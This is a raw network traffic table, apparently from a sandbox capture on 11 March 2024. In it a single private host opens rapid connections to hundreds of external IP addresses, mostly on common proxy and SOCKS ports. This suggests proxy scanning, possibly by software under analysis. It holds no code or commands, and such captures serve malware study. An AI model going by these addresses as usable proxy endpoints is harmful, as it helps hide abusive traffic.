Mar 11, 2024 18:36:44.858756065 CET	50026	80	192.168.2.8	121.159.146.251
Mar 11, 2024 18:36:44.858870029 CET	9764	49767	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:44.859021902 CET	9764	49767	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:44.861007929 CET	5678	49812	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:44.861099005 CET	49812	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:44.861226082 CET	49812	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:44.864336014 CET	50027	7777	192.168.2.8	111.8.155.54
Mar 11, 2024 18:36:44.864739895 CET	50028	8088	192.168.2.8	179.43.8.16
Mar 11, 2024 18:36:44.864805937 CET	50029	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:44.865828037 CET	50030	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:44.867276907 CET	50031	57391	192.168.2.8	164.92.86.113
Mar 11, 2024 18:36:44.867618084 CET	50032	999	192.168.2.8	200.52.148.10
Mar 11, 2024 18:36:44.868678093 CET	50033	19058	192.168.2.8	195.154.43.184
Mar 11, 2024 18:36:44.868920088 CET	50034	42581	192.168.2.8	207.180.198.241
Mar 11, 2024 18:36:44.869436026 CET	80	49769	104.17.9.114	192.168.2.8
Mar 11, 2024 18:36:44.870671988 CET	50035	3128	192.168.2.8	103.231.248.98
Mar 11, 2024 18:36:44.871495008 CET	50036	26087	192.168.2.8	67.43.228.251
Mar 11, 2024 18:36:44.872170925 CET	50037	83	192.168.2.8	103.159.46.2
Mar 11, 2024 18:36:44.872792959 CET	8197	49831	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:44.872864962 CET	49831	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:44.872935057 CET	50038	25847	192.168.2.8	62.171.131.101
Mar 11, 2024 18:36:44.873291016 CET	49831	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:44.873920918 CET	80	49815	143.198.226.25	192.168.2.8
Mar 11, 2024 18:36:44.874466896 CET	50039	8000	192.168.2.8	137.184.200.42
Mar 11, 2024 18:36:44.876096010 CET	8000	49884	178.128.156.219	192.168.2.8
Mar 11, 2024 18:36:44.876974106 CET	50040	11070	192.168.2.8	147.124.212.31
Mar 11, 2024 18:36:44.877080917 CET	50041	80	192.168.2.8	104.20.56.71
Mar 11, 2024 18:36:44.877686977 CET	1080	49825	93.171.243.253	192.168.2.8
Mar 11, 2024 18:36:44.877742052 CET	49825	1080	192.168.2.8	93.171.243.253
Mar 11, 2024 18:36:44.877859116 CET	50042	8089	192.168.2.8	111.225.152.42
Mar 11, 2024 18:36:44.878536940 CET	49825	1080	192.168.2.8	93.171.243.253
Mar 11, 2024 18:36:44.879693985 CET	50043	16379	192.168.2.8	51.15.142.4
Mar 11, 2024 18:36:44.880652905 CET	50044	80	192.168.2.8	172.67.53.215
Mar 11, 2024 18:36:44.884607077 CET	80	49921	104.16.105.106	192.168.2.8
Mar 11, 2024 18:36:44.884721041 CET	49921	80	192.168.2.8	104.16.105.106
Mar 11, 2024 18:36:44.885946035 CET	49921	80	192.168.2.8	104.16.105.106
Mar 11, 2024 18:36:44.887182951 CET	50045	3128	192.168.2.8	113.100.209.184
Mar 11, 2024 18:36:44.888025045 CET	80	49841	185.162.229.127	192.168.2.8
Mar 11, 2024 18:36:44.888046980 CET	50046	9064	192.168.2.8	172.104.145.22
Mar 11, 2024 18:36:44.888118982 CET	80	49841	185.162.229.127	192.168.2.8
Mar 11, 2024 18:36:44.888447046 CET	80	49841	185.162.229.127	192.168.2.8
Mar 11, 2024 18:36:44.888546944 CET	49841	80	192.168.2.8	185.162.229.127
Mar 11, 2024 18:36:44.888596058 CET	49841	80	192.168.2.8	185.162.229.127
Mar 11, 2024 18:36:44.889395952 CET	50047	4153	192.168.2.8	103.83.105.167
Mar 11, 2024 18:36:44.890374899 CET	50048	80	192.168.2.8	103.96.38.161
Mar 11, 2024 18:36:44.891926050 CET	50049	80	192.168.2.8	222.255.238.159
Mar 11, 2024 18:36:44.893034935 CET	9002	49830	220.248.70.237	192.168.2.8
Mar 11, 2024 18:36:44.893085957 CET	49830	9002	192.168.2.8	220.248.70.237
Mar 11, 2024 18:36:44.894079924 CET	49830	9002	192.168.2.8	220.248.70.237
Mar 11, 2024 18:36:44.894229889 CET	50050	999	192.168.2.8	167.249.29.218
Mar 11, 2024 18:36:44.895140886 CET	80	49892	50.168.72.112	192.168.2.8
Mar 11, 2024 18:36:44.895282984 CET	50051	16823	192.168.2.8	167.86.102.169
Mar 11, 2024 18:36:44.895554066 CET	80	49915	103.152.112.145	192.168.2.8
Mar 11, 2024 18:36:44.895617962 CET	49915	80	192.168.2.8	103.152.112.145
Mar 11, 2024 18:36:44.896152020 CET	50052	27262	192.168.2.8	162.144.121.232
Mar 11, 2024 18:36:44.896725893 CET	49915	80	192.168.2.8	103.152.112.145
Mar 11, 2024 18:36:44.897126913 CET	50053	3129	192.168.2.8	20.219.177.85
Mar 11, 2024 18:36:44.898595095 CET	50054	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:44.900099039 CET	50055	4153	192.168.2.8	202.166.219.80
Mar 11, 2024 18:36:44.902575970 CET	50056	10080	192.168.2.8	81.19.3.249
Mar 11, 2024 18:36:44.902971029 CET	80	49853	172.67.187.242	192.168.2.8
Mar 11, 2024 18:36:44.903394938 CET	50057	6014	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:44.903444052 CET	80	49853	172.67.187.242	192.168.2.8
Mar 11, 2024 18:36:44.903666973 CET	49853	80	192.168.2.8	172.67.187.242
Mar 11, 2024 18:36:44.904450893 CET	80	49853	172.67.187.242	192.168.2.8
Mar 11, 2024 18:36:44.904490948 CET	49853	80	192.168.2.8	172.67.187.242
Mar 11, 2024 18:36:44.917093039 CET	8080	49854	181.212.45.228	192.168.2.8
Mar 11, 2024 18:36:44.917244911 CET	49854	8080	192.168.2.8	181.212.45.228
Mar 11, 2024 18:36:44.917336941 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:44.917390108 CET	49877	3128	192.168.2.8	160.16.90.35
Mar 11, 2024 18:36:44.917856932 CET	80	49946	104.16.106.65	192.168.2.8
Mar 11, 2024 18:36:44.917917013 CET	49946	80	192.168.2.8	104.16.106.65
Mar 11, 2024 18:36:44.919300079 CET	8888	49933	47.254.90.125	192.168.2.8
Mar 11, 2024 18:36:44.919684887 CET	49946	80	192.168.2.8	104.16.106.65
Mar 11, 2024 18:36:44.920316935 CET	49877	3128	192.168.2.8	160.16.90.35
Mar 11, 2024 18:36:44.920449972 CET	49854	8080	192.168.2.8	181.212.45.228
Mar 11, 2024 18:36:44.920871973 CET	50058	5678	192.168.2.8	58.84.32.118
Mar 11, 2024 18:36:44.921258926 CET	5005	49848	1.194.236.229	192.168.2.8
Mar 11, 2024 18:36:44.921323061 CET	49848	5005	192.168.2.8	1.194.236.229
Mar 11, 2024 18:36:44.921601057 CET	49848	5005	192.168.2.8	1.194.236.229
Mar 11, 2024 18:36:44.921658039 CET	50059	8080	192.168.2.8	103.77.50.168
Mar 11, 2024 18:36:44.921932936 CET	50060	5678	192.168.2.8	202.165.47.49
Mar 11, 2024 18:36:44.922439098 CET	50061	8080	192.168.2.8	74.62.179.122
Mar 11, 2024 18:36:44.922540903 CET	80	49919	50.175.212.74	192.168.2.8
Mar 11, 2024 18:36:44.924071074 CET	50062	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:44.925595045 CET	50063	2016	192.168.2.8	103.83.178.205
Mar 11, 2024 18:36:44.926445961 CET	80	49862	104.25.135.170	192.168.2.8
Mar 11, 2024 18:36:44.926491976 CET	80	49862	104.25.135.170	192.168.2.8
Mar 11, 2024 18:36:44.926852942 CET	80	49862	104.25.135.170	192.168.2.8
Mar 11, 2024 18:36:44.926898003 CET	49862	80	192.168.2.8	104.25.135.170
Mar 11, 2024 18:36:44.927046061 CET	49862	80	192.168.2.8	104.25.135.170
Mar 11, 2024 18:36:44.927503109 CET	50064	58275	192.168.2.8	162.214.191.209
Mar 11, 2024 18:36:44.928459883 CET	50065	443	192.168.2.8	91.231.186.133
Mar 11, 2024 18:36:44.928481102 CET	443	50065	91.231.186.133	192.168.2.8
Mar 11, 2024 18:36:44.928538084 CET	50065	443	192.168.2.8	91.231.186.133
Mar 11, 2024 18:36:44.929318905 CET	50065	443	192.168.2.8	91.231.186.133
Mar 11, 2024 18:36:44.929332018 CET	443	50065	91.231.186.133	192.168.2.8
Mar 11, 2024 18:36:44.929380894 CET	443	50065	91.231.186.133	192.168.2.8
Mar 11, 2024 18:36:44.929918051 CET	50066	5430	192.168.2.8	202.179.184.44
Mar 11, 2024 18:36:44.930926085 CET	3629	49843	178.158.197.147	192.168.2.8
Mar 11, 2024 18:36:44.931132078 CET	50067	14282	192.168.2.8	192.252.208.70
Mar 11, 2024 18:36:44.931946039 CET	50068	8080	192.168.2.8	94.186.234.236
Mar 11, 2024 18:36:44.932913065 CET	50069	8080	192.168.2.8	201.170.180.188
Mar 11, 2024 18:36:44.934151888 CET	50070	5678	192.168.2.8	223.25.98.82
Mar 11, 2024 18:36:44.935781002 CET	50071	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:44.936357975 CET	50072	8080	192.168.2.8	98.64.169.17
Mar 11, 2024 18:36:44.937519073 CET	50073	8123	192.168.2.8	119.81.71.27
Mar 11, 2024 18:36:44.937745094 CET	3128	49880	18.134.236.231	192.168.2.8
Mar 11, 2024 18:36:44.937807083 CET	49880	3128	192.168.2.8	18.134.236.231
Mar 11, 2024 18:36:44.938492060 CET	49880	3128	192.168.2.8	18.134.236.231
Mar 11, 2024 18:36:44.938757896 CET	50074	80	192.168.2.8	185.238.228.67
Mar 11, 2024 18:36:44.940171003 CET	50075	42539	192.168.2.8	86.110.189.118
Mar 11, 2024 18:36:44.946989059 CET	5775	49916	72.10.160.92	192.168.2.8
Mar 11, 2024 18:36:44.948029995 CET	80	49974	104.18.20.160	192.168.2.8
Mar 11, 2024 18:36:44.948096991 CET	49974	80	192.168.2.8	104.18.20.160
Mar 11, 2024 18:36:44.949443102 CET	49974	80	192.168.2.8	104.18.20.160
Mar 11, 2024 18:36:44.949888945 CET	50076	8082	192.168.2.8	58.69.201.117
Mar 11, 2024 18:36:44.950699091 CET	80	49889	50.174.145.11	192.168.2.8
Mar 11, 2024 18:36:44.950777054 CET	80	49893	50.223.239.166	192.168.2.8
Mar 11, 2024 18:36:44.951019049 CET	50077	5000	192.168.2.8	49.228.131.169
Mar 11, 2024 18:36:44.952543974 CET	50078	8089	192.168.2.8	77.242.24.241
Mar 11, 2024 18:36:44.954283953 CET	50079	8080	192.168.2.8	122.52.196.36
Mar 11, 2024 18:36:44.954706907 CET	4145	49932	142.54.237.34	192.168.2.8
Mar 11, 2024 18:36:44.954776049 CET	49932	4145	192.168.2.8	142.54.237.34
Mar 11, 2024 18:36:44.955266953 CET	5678	49876	1.15.62.12	192.168.2.8
Mar 11, 2024 18:36:44.955398083 CET	49876	5678	192.168.2.8	1.15.62.12
Mar 11, 2024 18:36:44.955563068 CET	49932	4145	192.168.2.8	142.54.237.34
Mar 11, 2024 18:36:44.956034899 CET	49876	5678	192.168.2.8	1.15.62.12
Mar 11, 2024 18:36:44.957905054 CET	50080	25485	192.168.2.8	172.93.111.235
Mar 11, 2024 18:36:44.959382057 CET	50081	8080	192.168.2.8	93.42.151.10
Mar 11, 2024 18:36:44.960524082 CET	50082	1080	192.168.2.8	202.6.224.52
Mar 11, 2024 18:36:44.961500883 CET	3129	49835	20.204.212.76	192.168.2.8
Mar 11, 2024 18:36:44.961632967 CET	50083	60080	192.168.2.8	87.255.200.108
Mar 11, 2024 18:36:44.961891890 CET	80	49799	45.12.31.3	192.168.2.8
Mar 11, 2024 18:36:44.962573051 CET	50084	5678	192.168.2.8	197.211.244.135
Mar 11, 2024 18:36:44.963565111 CET	50085	44523	192.168.2.8	192.99.207.129
Mar 11, 2024 18:36:44.965409040 CET	50086	80	192.168.2.8	5.189.184.6
Mar 11, 2024 18:36:44.969440937 CET	8081	49726	79.110.196.145	192.168.2.8
Mar 11, 2024 18:36:44.969559908 CET	8081	49726	79.110.196.145	192.168.2.8
Mar 11, 2024 18:36:44.969657898 CET	8081	49726	79.110.196.145	192.168.2.8
Mar 11, 2024 18:36:44.969719887 CET	49726	8081	192.168.2.8	79.110.196.145
Mar 11, 2024 18:36:44.970613003 CET	8080	49814	103.190.54.141	192.168.2.8
Mar 11, 2024 18:36:44.970685959 CET	49814	8080	192.168.2.8	103.190.54.141
Mar 11, 2024 18:36:44.974360943 CET	8000	49734	14.103.24.148	192.168.2.8
Mar 11, 2024 18:36:44.974647999 CET	8000	49734	14.103.24.148	192.168.2.8
Mar 11, 2024 18:36:44.974664927 CET	8000	49734	14.103.24.148	192.168.2.8
Mar 11, 2024 18:36:44.974706888 CET	49734	8000	192.168.2.8	14.103.24.148
Mar 11, 2024 18:36:44.974746943 CET	49734	8000	192.168.2.8	14.103.24.148
Mar 11, 2024 18:36:44.975478888 CET	49734	8000	192.168.2.8	14.103.24.148
Mar 11, 2024 18:36:44.976526022 CET	49814	8080	192.168.2.8	103.190.54.141
Mar 11, 2024 18:36:44.976588011 CET	49726	8081	192.168.2.8	79.110.196.145
Mar 11, 2024 18:36:44.977148056 CET	50087	999	192.168.2.8	186.24.9.114
Mar 11, 2024 18:36:44.978280067 CET	50088	9002	192.168.2.8	111.59.4.88
Mar 11, 2024 18:36:44.978739977 CET	50089	56350	192.168.2.8	148.66.130.53
Mar 11, 2024 18:36:44.979878902 CET	80	50002	172.67.181.197	192.168.2.8
Mar 11, 2024 18:36:44.979938030 CET	50002	80	192.168.2.8	172.67.181.197
Mar 11, 2024 18:36:44.981153965 CET	5678	49927	181.78.13.91	192.168.2.8
Mar 11, 2024 18:36:44.981404066 CET	50002	80	192.168.2.8	172.67.181.197
Mar 11, 2024 18:36:44.981884956 CET	50090	8080	192.168.2.8	103.81.115.210
Mar 11, 2024 18:36:44.982028008 CET	50091	80	192.168.2.8	146.70.80.76
Mar 11, 2024 18:36:44.983287096 CET	50092	80	192.168.2.8	23.227.38.198
Mar 11, 2024 18:36:44.984330893 CET	80	50006	104.27.15.161	192.168.2.8
Mar 11, 2024 18:36:44.984390020 CET	50006	80	192.168.2.8	104.27.15.161
Mar 11, 2024 18:36:44.985135078 CET	50093	7777	192.168.2.8	218.6.120.111
Mar 11, 2024 18:36:44.985338926 CET	50006	80	192.168.2.8	104.27.15.161
Mar 11, 2024 18:36:44.986246109 CET	50094	80	192.168.2.8	190.128.241.102
Mar 11, 2024 18:36:44.987122059 CET	50095	1088	192.168.2.8	117.202.20.69
Mar 11, 2024 18:36:44.988363028 CET	50096	5678	192.168.2.8	203.160.57.87
Mar 11, 2024 18:36:44.989376068 CET	80	49813	104.17.84.150	192.168.2.8
Mar 11, 2024 18:36:44.989490986 CET	64768	49895	173.212.250.16	192.168.2.8
Mar 11, 2024 18:36:44.990133047 CET	50097	31979	192.168.2.8	51.77.65.164
Mar 11, 2024 18:36:44.991058111 CET	18067	49950	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:44.991750002 CET	26353	49951	67.43.227.228	192.168.2.8
Mar 11, 2024 18:36:44.991957903 CET	50098	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:44.993252993 CET	9090	49867	212.108.145.195	192.168.2.8
Mar 11, 2024 18:36:44.993315935 CET	49867	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:44.993392944 CET	50099	53340	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:44.994275093 CET	49867	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:44.994904041 CET	50100	7853	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:44.995810032 CET	80	49934	50.168.163.166	192.168.2.8
Mar 11, 2024 18:36:44.996495008 CET	50101	40080	192.168.2.8	67.213.212.50
Mar 11, 2024 18:36:44.997735977 CET	4145	49973	142.54.229.249	192.168.2.8
Mar 11, 2024 18:36:44.997818947 CET	49973	4145	192.168.2.8	142.54.229.249
Mar 11, 2024 18:36:44.997925997 CET	50102	3500	192.168.2.8	23.225.72.122
Mar 11, 2024 18:36:44.998999119 CET	49973	4145	192.168.2.8	142.54.229.249
Mar 11, 2024 18:36:44.999766111 CET	50103	4153	192.168.2.8	203.76.117.74
Mar 11, 2024 18:36:45.000910997 CET	50104	40975	192.168.2.8	146.59.18.246
Mar 11, 2024 18:36:45.001876116 CET	55137	50010	192.169.197.146	192.168.2.8
Mar 11, 2024 18:36:45.002382040 CET	50105	8899	192.168.2.8	66.228.140.209
Mar 11, 2024 18:36:45.003098965 CET	49710	44607	192.168.2.8	162.241.6.97
Mar 11, 2024 18:36:45.003720045 CET	50106	17893	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:45.004203081 CET	50107	6022	192.168.2.8	186.215.87.194
Mar 11, 2024 18:36:45.004936934 CET	50108	8080	192.168.2.8	103.167.68.77
Mar 11, 2024 18:36:45.005872011 CET	80	49820	104.16.81.76	192.168.2.8
Mar 11, 2024 18:36:45.005886078 CET	17145	49963	67.43.236.18	192.168.2.8
Mar 11, 2024 18:36:45.006411076 CET	50109	8080	192.168.2.8	159.112.141.44
Mar 11, 2024 18:36:45.007638931 CET	50110	8080	192.168.2.8	183.179.187.16
Mar 11, 2024 18:36:45.008676052 CET	50111	54924	192.168.2.8	67.213.210.118
Mar 11, 2024 18:36:45.009077072 CET	80	50016	162.159.242.138	192.168.2.8
Mar 11, 2024 18:36:45.009147882 CET	50016	80	192.168.2.8	162.159.242.138
Mar 11, 2024 18:36:45.010147095 CET	50016	80	192.168.2.8	162.159.242.138
Mar 11, 2024 18:36:45.011188030 CET	50112	9999	192.168.2.8	115.221.242.131
Mar 11, 2024 18:36:45.011706114 CET	50113	3629	192.168.2.8	81.12.104.43
Mar 11, 2024 18:36:45.013111115 CET	50114	8080	192.168.2.8	156.232.9.194
Mar 11, 2024 18:36:45.015223026 CET	50115	3128	192.168.2.8	62.171.133.66
Mar 11, 2024 18:36:45.016134977 CET	50116	8080	192.168.2.8	138.0.143.128
Mar 11, 2024 18:36:45.017365932 CET	50117	80	192.168.2.8	50.145.6.36
Mar 11, 2024 18:36:45.018111944 CET	50118	24279	192.168.2.8	67.43.228.251
Mar 11, 2024 18:36:45.018716097 CET	49718	15082	192.168.2.8	45.77.111.135
Mar 11, 2024 18:36:45.019885063 CET	50119	3128	192.168.2.8	155.50.213.149
Mar 11, 2024 18:36:45.020380974 CET	7777	49882	123.30.154.171	192.168.2.8
Mar 11, 2024 18:36:45.020458937 CET	49882	7777	192.168.2.8	123.30.154.171
Mar 11, 2024 18:36:45.021248102 CET	49882	7777	192.168.2.8	123.30.154.171
Mar 11, 2024 18:36:45.021589994 CET	50120	50062	192.168.2.8	162.241.46.6
Mar 11, 2024 18:36:45.022599936 CET	50121	80	192.168.2.8	104.20.123.164
Mar 11, 2024 18:36:45.023948908 CET	50122	999	192.168.2.8	181.78.74.78
Mar 11, 2024 18:36:45.024224997 CET	8888	49905	65.109.152.88	192.168.2.8
Mar 11, 2024 18:36:45.024280071 CET	49905	8888	192.168.2.8	65.109.152.88
Mar 11, 2024 18:36:45.024990082 CET	49905	8888	192.168.2.8	65.109.152.88
Mar 11, 2024 18:36:45.025597095 CET	50123	1080	192.168.2.8	64.124.145.1
Mar 11, 2024 18:36:45.026616096 CET	50124	10705	192.168.2.8	47.113.179.6
Mar 11, 2024 18:36:45.027731895 CET	50125	1431	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:45.028963089 CET	50126	8080	192.168.2.8	185.200.38.117
Mar 11, 2024 18:36:45.029603004 CET	3128	49909	194.182.187.78	192.168.2.8
Mar 11, 2024 18:36:45.029762030 CET	50127	8000	192.168.2.8	103.182.112.11
Mar 11, 2024 18:36:45.030917883 CET	25639	49982	67.43.227.226	192.168.2.8
Mar 11, 2024 18:36:45.031248093 CET	50128	10363	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:45.031616926 CET	80	50041	104.20.56.71	192.168.2.8
Mar 11, 2024 18:36:45.031677961 CET	50041	80	192.168.2.8	104.20.56.71
Mar 11, 2024 18:36:45.032627106 CET	50041	80	192.168.2.8	104.20.56.71
Mar 11, 2024 18:36:45.033241987 CET	50129	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:45.034358025 CET	49737	80	192.168.2.8	104.16.226.6
Mar 11, 2024 18:36:45.034455061 CET	50130	3129	192.168.2.8	45.134.80.222
Mar 11, 2024 18:36:45.034965038 CET	80	50044	172.67.53.215	192.168.2.8
Mar 11, 2024 18:36:45.035022974 CET	50044	80	192.168.2.8	172.67.53.215
Mar 11, 2024 18:36:45.035521984 CET	8080	49776	20.37.207.8	192.168.2.8
Mar 11, 2024 18:36:45.035605907 CET	50131	55507	192.168.2.8	5.58.33.187
Mar 11, 2024 18:36:45.035797119 CET	50044	80	192.168.2.8	172.67.53.215
Mar 11, 2024 18:36:45.036478996 CET	50132	55066	192.168.2.8	167.86.115.103
Mar 11, 2024 18:36:45.036587000 CET	5678	49881	176.119.227.65	192.168.2.8
Mar 11, 2024 18:36:45.036923885 CET	80	49717	41.74.91.244	192.168.2.8
Mar 11, 2024 18:36:45.036968946 CET	50133	26552	192.168.2.8	161.97.173.78
Mar 11, 2024 18:36:45.037481070 CET	80	49717	41.74.91.244	192.168.2.8
Mar 11, 2024 18:36:45.037496090 CET	80	49717	41.74.91.244	192.168.2.8
Mar 11, 2024 18:36:45.037553072 CET	49717	80	192.168.2.8	41.74.91.244
Mar 11, 2024 18:36:45.037902117 CET	49717	80	192.168.2.8	41.74.91.244
Mar 11, 2024 18:36:45.038209915 CET	50134	80	192.168.2.8	104.21.194.182
Mar 11, 2024 18:36:45.038892031 CET	8080	49928	57.128.163.242	192.168.2.8
Mar 11, 2024 18:36:45.038949966 CET	49928	8080	192.168.2.8	57.128.163.242
Mar 11, 2024 18:36:45.039401054 CET	49928	8080	192.168.2.8	57.128.163.242
Mar 11, 2024 18:36:45.039423943 CET	50135	14921	192.168.2.8	192.252.211.197
Mar 11, 2024 18:36:45.039781094 CET	50136	80	192.168.2.8	172.67.182.0
Mar 11, 2024 18:36:45.039978981 CET	80	49921	104.16.105.106	192.168.2.8
Mar 11, 2024 18:36:45.040045977 CET	80	49921	104.16.105.106	192.168.2.8
Mar 11, 2024 18:36:45.040365934 CET	80	49912	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.040390968 CET	49921	80	192.168.2.8	104.16.105.106
Mar 11, 2024 18:36:45.040430069 CET	49912	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:45.040456057 CET	80	49921	104.16.105.106	192.168.2.8
Mar 11, 2024 18:36:45.040493965 CET	49921	80	192.168.2.8	104.16.105.106
Mar 11, 2024 18:36:45.040914059 CET	49912	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:45.041227102 CET	50137	1080	192.168.2.8	171.248.209.6
Mar 11, 2024 18:36:45.041706085 CET	50138	999	192.168.2.8	177.234.194.226
Mar 11, 2024 18:36:45.042499065 CET	8193	49930	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.042525053 CET	50139	5678	192.168.2.8	169.255.198.8
Mar 11, 2024 18:36:45.042556047 CET	49930	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.042965889 CET	49930	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.043097973 CET	80	49841	185.162.229.127	192.168.2.8
Mar 11, 2024 18:36:45.043694019 CET	50140	999	192.168.2.8	45.229.34.174
Mar 11, 2024 18:36:45.044277906 CET	50141	8080	192.168.2.8	103.153.40.38
Mar 11, 2024 18:36:45.045520067 CET	50142	20037	192.168.2.8	64.44.139.12
Mar 11, 2024 18:36:45.045746088 CET	50144	443	192.168.2.8	43.157.32.4
Mar 11, 2024 18:36:45.045767069 CET	443	50144	43.157.32.4	192.168.2.8
Mar 11, 2024 18:36:45.045820951 CET	50144	443	192.168.2.8	43.157.32.4
Mar 11, 2024 18:36:45.045897961 CET	50143	3128	192.168.2.8	194.186.35.70
Mar 11, 2024 18:36:45.046356916 CET	50144	443	192.168.2.8	43.157.32.4
Mar 11, 2024 18:36:45.046389103 CET	443	50144	43.157.32.4	192.168.2.8
Mar 11, 2024 18:36:45.046432018 CET	443	50144	43.157.32.4	192.168.2.8
Mar 11, 2024 18:36:45.048198938 CET	50145	63614	192.168.2.8	173.212.237.43
Mar 11, 2024 18:36:45.048327923 CET	50146	9898	192.168.2.8	213.165.168.190
Mar 11, 2024 18:36:45.048474073 CET	50147	27234	192.168.2.8	179.125.51.54
Mar 11, 2024 18:36:45.049401045 CET	50148	8080	192.168.2.8	188.132.222.40
Mar 11, 2024 18:36:45.049458981 CET	50149	80	192.168.2.8	104.16.143.127
Mar 11, 2024 18:36:45.049973011 CET	49724	9375	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:45.050828934 CET	50150	34411	192.168.2.8	212.110.188.222
Mar 11, 2024 18:36:45.051127911 CET	50151	8888	192.168.2.8	36.134.91.82
Mar 11, 2024 18:36:45.051208973 CET	50152	3128	192.168.2.8	146.190.51.181
Mar 11, 2024 18:36:45.052277088 CET	58386	49847	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:45.052350998 CET	49847	58386	192.168.2.8	5.44.42.115
Mar 11, 2024 18:36:45.052571058 CET	49847	58386	192.168.2.8	5.44.42.115
Mar 11, 2024 18:36:45.055661917 CET	50153	7183	192.168.2.8	132.148.245.247
Mar 11, 2024 18:36:45.057784081 CET	80	49853	172.67.187.242	192.168.2.8
Mar 11, 2024 18:36:45.059303045 CET	80	49971	52.196.1.182	192.168.2.8
Mar 11, 2024 18:36:45.059453964 CET	49971	80	192.168.2.8	52.196.1.182
Mar 11, 2024 18:36:45.059817076 CET	49971	80	192.168.2.8	52.196.1.182
Mar 11, 2024 18:36:45.060657978 CET	3128	50011	178.128.148.69	192.168.2.8
Mar 11, 2024 18:36:45.061366081 CET	50154	9990	192.168.2.8	117.160.250.163
Mar 11, 2024 18:36:45.061853886 CET	15673	49774	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:45.064347982 CET	1974	49917	41.33.203.115	192.168.2.8
Mar 11, 2024 18:36:45.064412117 CET	49917	1974	192.168.2.8	41.33.203.115
Mar 11, 2024 18:36:45.064697027 CET	8800	49740	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:45.064745903 CET	49740	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:45.064831972 CET	8800	49740	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:45.066867113 CET	15673	49774	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:45.071052074 CET	15673	49935	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:45.071130991 CET	49935	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:45.072989941 CET	80	49948	50.170.90.24	192.168.2.8
Mar 11, 2024 18:36:45.074150085 CET	80	49946	104.16.106.65	192.168.2.8
Mar 11, 2024 18:36:45.074188948 CET	80	49946	104.16.106.65	192.168.2.8
Mar 11, 2024 18:36:45.074352026 CET	5385	50017	72.10.160.170	192.168.2.8
Mar 11, 2024 18:36:45.074527025 CET	80	49946	104.16.106.65	192.168.2.8
Mar 11, 2024 18:36:45.074608088 CET	49946	80	192.168.2.8	104.16.106.65
Mar 11, 2024 18:36:45.075133085 CET	4145	49858	184.170.249.65	192.168.2.8
Mar 11, 2024 18:36:45.075400114 CET	4145	49858	184.170.249.65	192.168.2.8
Mar 11, 2024 18:36:45.075792074 CET	80	49977	50.172.75.125	192.168.2.8
Mar 11, 2024 18:36:45.076252937 CET	49917	1974	192.168.2.8	41.33.203.115
Mar 11, 2024 18:36:45.078012943 CET	49935	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:45.078857899 CET	31295	50021	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:45.079252005 CET	49740	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:45.079294920 CET	49946	80	192.168.2.8	104.16.106.65
Mar 11, 2024 18:36:45.079473019 CET	3933	50022	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:45.079699039 CET	8061	49903	103.169.254.186	192.168.2.8
Mar 11, 2024 18:36:45.079782963 CET	49903	8061	192.168.2.8	103.169.254.186
Mar 11, 2024 18:36:45.081223011 CET	49750	40351	192.168.2.8	51.222.241.157
Mar 11, 2024 18:36:45.082094908 CET	49903	8061	192.168.2.8	103.169.254.186
Mar 11, 2024 18:36:45.082175970 CET	8888	49968	51.15.242.202	192.168.2.8
Mar 11, 2024 18:36:45.082240105 CET	49968	8888	192.168.2.8	51.15.242.202
Mar 11, 2024 18:36:45.082251072 CET	80	49862	104.25.135.170	192.168.2.8
Mar 11, 2024 18:36:45.082644939 CET	49968	8888	192.168.2.8	51.15.242.202
Mar 11, 2024 18:36:45.083061934 CET	50155	3128	192.168.2.8	193.56.255.179
Mar 11, 2024 18:36:45.083201885 CET	50156	80	192.168.2.8	50.170.90.28
Mar 11, 2024 18:36:45.083451986 CET	50157	24787	192.168.2.8	162.144.121.232
Mar 11, 2024 18:36:45.083488941 CET	50158	21777	192.168.2.8	51.222.84.118
Mar 11, 2024 18:36:45.083741903 CET	50159	999	192.168.2.8	177.234.194.158
Mar 11, 2024 18:36:45.083745956 CET	50160	8080	192.168.2.8	103.148.130.5
Mar 11, 2024 18:36:45.083931923 CET	50161	57364	192.168.2.8	162.241.53.72
